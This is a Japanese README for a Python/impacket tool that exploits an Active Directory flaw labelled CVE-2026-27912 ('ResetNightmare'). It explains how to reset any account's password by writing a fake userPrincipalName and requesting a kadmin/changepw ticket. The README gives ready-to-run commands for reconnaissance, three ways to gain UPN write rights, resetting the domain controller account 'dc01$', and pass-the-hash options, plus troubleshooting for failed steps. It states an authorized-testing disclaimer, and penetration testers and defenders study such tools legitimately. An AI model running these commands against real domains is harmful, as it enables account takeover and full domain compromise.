
CVE-2026-27912(「ResetNightmare」) 用の Linux / impacket ツール群です。名前がターゲットの sAMAccountName である NT_ENTERPRISE プリンシパルに対して kadmin/changepw TGT を要求することで、ターゲットの Active Directory アカウントのパスワードをリセットします。この際、偽の userPrincipalName を書き込めるアカウント(UPNUser)を使用します。
Semperis Community の Invoke-ResetNightmare PowerShell ツールの Python 移植版です(クレジットを参照)。
認可されたセキュリティテストおよび教育目的でのみ使用してください。 このツールは実際の Active Directory 資格情報を変更するため、アカウントがロックアウトされる可能性があります。
GenericAll を付与し、パスワードを設定して有効化します。sAMAccountName を解決します。UPNUser.userPrincipalName = <targetSAN>(偽の UPN)を設定します。NT_ENTERPRISE '<targetSAN>' として kadmin/changepw に対して AS-REQ を送信します — KDC はエンタープライズ UPN をターゲットにマッピングし、そのターゲット用のパスワード変更 TGT を発行します。--upn-user の選択--upn-user は、偽の UPN を書き込むアカウントです(ユーザー、または --computer を指定したコンピュータ)。唯一の要件は、そのアカウントの userPrincipalName に書き込めることです。これを実現する方法は 3 つあり、元の PowerShell 版が依拠しているものと同じです:
| # | UPN 書き込み権限の取得方法 | フラグ | OU が必要か? |
|---|---|---|---|
| A | Create Child 権限を持つ OU にアカウントを作成 → そのアカウントを所有 → ツールが自身に GenericAll を付与 → UPN を書き込む | --create-new-path | はい |
| B | すでに GenericWrite / GenericAll / WriteProperty(userPrincipalName) を持っている既存のアカウント | (なし) | いいえ |
| C | 所有している、または WriteDacl を持っている既存のアカウント(プロパティへの直接書き込み権限なし) | --grant-self | いいえ |
つまり、必ずしも OU を制御する必要はありません — パス B は任意の単一アカウントに対する委任された権限で機能します。ただし、A/B/C のいずれかが必要です。--find を実行して、どれを持っているかを確認してください。
ドメインコンピュータだけでは不十分です。 ローカル管理者である、またはハッシュを保持しているものの、AD への書き込み権限がないマシンでは、A/B/C のいずれも得られません。また、MachineAccountQuota を介して作成されたコンピュータ(
addcomputer.pyでCN=Computersに作成)も機能しません:その作成者は所有者ではなく、UPN への書き込み権限を得られないため、直接書き込みと--grant-selfの両方がresult 50で失敗します。委任された OU でパス A を使用してください。
python3 -m venv venv
./venv/bin/pip install -r requirements.txt
オペレーターの資格情報は最初の位置引数です: [domain/]username[:password]。
パスワードは省略可能で、その場合は入力が求められます。
偵察 — このアカウントで何を悪用できるか? UPN を書き込めるアカウント、オブジェクトを作成できる OU、および MachineAccountQuota を、推奨コマンドとともに報告します:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
各検出結果は via: の理由とオブジェクトの owner: を出力します。owner を見れば、2つのコンピューター作成経路を一目で区別できます。委任されたコンテナーのコンピューターは owner: <you> と表示され(暗黙の WRITE_DAC を持っているため --grant-self が機能します)、一方 MAQ / CN=Computers のものは owner: BUILTIN\Administrators と表示されます(持っていないため使用できません):
=== Accounts you can write a UPN on (use as --upn-user) ===
[+] svc_web CN=svc_web,OU=Services,DC=corp,DC=local
via: WriteProperty(userPrincipalName)
owner: Domain Admins
書き込み可能な UPN を持つアカウントを使用してターゲットをリセットする:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
最初にUPNアカウントを作成します(OUに対するCreate Child権限とLDAPSが必要です):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
コンピューターアカウントを作成する(UPN アカウントとして、--create-new-path + --computer):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
--upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
UPN を書き込めないが DACL を書き換えられる既存アカウント (--grant-self)。
--find が Owner または WriteDacl 経由で到達可能な --upn-user を報告した場合
(その ACL は変更できるが、プロパティへの直接書き込み権限はない)、--grant-self はまず
あなたに GenericAll ACE を追加し、その後で攻撃が進行します。既存アカウント専用です —
--create-new-path はすでに自身に権限を付与します。
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --grant-self \
--upn-user svc_legacy --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
--grant-self自体がresult 50で失敗する場合、あなたはそのアカウントの所有者ではなく、そのアカウントに対する WriteDacl も持っていません — この方法では解決できません。これはaddcomputer.py/MAQ で作成したコンピュータでよくある結果です。作成者は通常、所有権も UPN の書き込み権限も得られないため、MAQ で作成したコンピュータは--upn-userとして使用できません。--findを実行し、WriteProperty(userPrincipalName)、GenericWrite、GenericAll、Owner、またはWriteDaclとしてフラグが立てられたアカウントを選択してください。
詳細な AS-REQ / LDAP / kpasswd のログを出力するには -debug を追加してください。
| フラグ | 意味 |
|---|---|
<positional> | オペレータの資格情報: [domain/]username[:password] |
--target-account | リセットする sAMAccountName(コンピュータアカウントは $ で終わる) |
--target-new-password | ターゲットに設定する新しいパスワード |
--upn-user | 偽の UPN を書き込むアカウント(または --create-new-path で作成するアカウント) |
--upn-user-password | --upn-user のクリアテキストパスワード |
--computer | --upn-user をマシンアカウントとして扱う |
--create-new-path <DN> | 最初に --upn-user を作成する OU/コンテナ(LDAPS が必要) |
--grant-self | UPN を書き込む前に、所有している既存の --upn-user に対してオペレータに GenericAll を付与する(所有権 / WriteDacl が必要) |
--find | 偵察: 悪用可能なアカウント/OU(各検出結果の owner を含む)と推奨コマンドを報告して終了 |
--list-ous | OU/コンテナを一覧表示して終了(有効な --create-new-path を選択するため) |
--aes-key <hex> | パスワードの代わりに AS-REQ で使用する --upn-user の AES キー |
--upn-user-hash <NT> | パスワードの代わりに AS-REQ で使用する --upn-user の NT ハッシュ(または LM:NT) |
-k, --kerberos | Kerberos(SASL/GSSAPI)LDAP バインド(KRB5CCNAME を使用) |
-H LM:NT | Pass-the-hash LDAP(NTLM)バインド |
--no-pass | パスワードを要求しない(-k / KRB5CCNAME を使用) |
--dc-host | DC のホスト名/FQDN(Kerberos SPN 用) |
--dc-ip | DC の IP アドレス |
--no-ssl | 平文 LDAP/389(--create-new-path とは互換性なし) |
--supported-encryption | 優先する enctype、情報提供用(デフォルト aes256) |
-debug | 詳細ログ |
パスワードを省略した場合は対話的に入力が求められます。
--create-new-path の失敗:
| 症状 | 原因 | 対処 |
|---|---|---|
result 50, insufficientAccessRights | OU は存在するが、その OU に対する Create Child 権限がない。 | 書き込み可能な OU を使用する(--list-ous / --find)、または --create-new-path を外して --upn-user で既存のアカウントを悪用する。 |
result 32, noSuchObject — best match: DC=corp,DC=local | DN の親チェーンが存在しない(不完全/推測された DN)。 | --list-ous で列挙し、完全なネストされた DN を貼り付ける。OU はネストされているため、名前だけではそのパスにならない。 |
パスワード設定ステップで result 53, unwillingToPerform | 非 TLS チャネル経由の unicodePwd 書き込み、またはポリシーに対して弱いパスワード。 | LDAPS を維持する(--no-ssl を渡さない)。ポリシーに準拠したパスワードを使用する。 |
「偽の UPN の設定」 時の result 50, insufficientAccessRights: オペレータが --upn-user に対する WriteProperty(userPrincipalName) を持っていません。そのアカウントの DACL を書き換えられる場合(あなたがその所有者であるか WriteDacl を持っている場合)、まず --grant-self を追加して自分自身に GenericAll を付与してください。--grant-self もまた result 50 を返す場合、どちらも持っていません — --find で別のアカウントを選択してください。
addcomputer.py/MAQ で作成したコンピュータは、ここでの解決策にはなりません。MAQ の作成者は通常、所有権もWriteProperty(UPN)も得られないため、UPN の書き込みと--grant-selfの両方がresult 50で失敗します。--upn-userに MAQ を頼らないでください。
注意:
unicodePwd 書き込みのみを受け付けるため、--create-new-path にはこれが必要です。--no-ssl は読み取り専用/UPN のみのパスでのみ使用してください。--find は、あなたまたはあなたのグループに付与された allow ACE(およびオブジェクトの所有権と MachineAccountQuota)のみを報告します。deny ACE とクロスドメインのメンバーシップは完全には評価されません。空の結果はパスが存在しないことの証明にはなりません — 使用前に検証してください。ツールは、ターゲットとして使用可能なチケットを取得するためのフォローアップを出力します: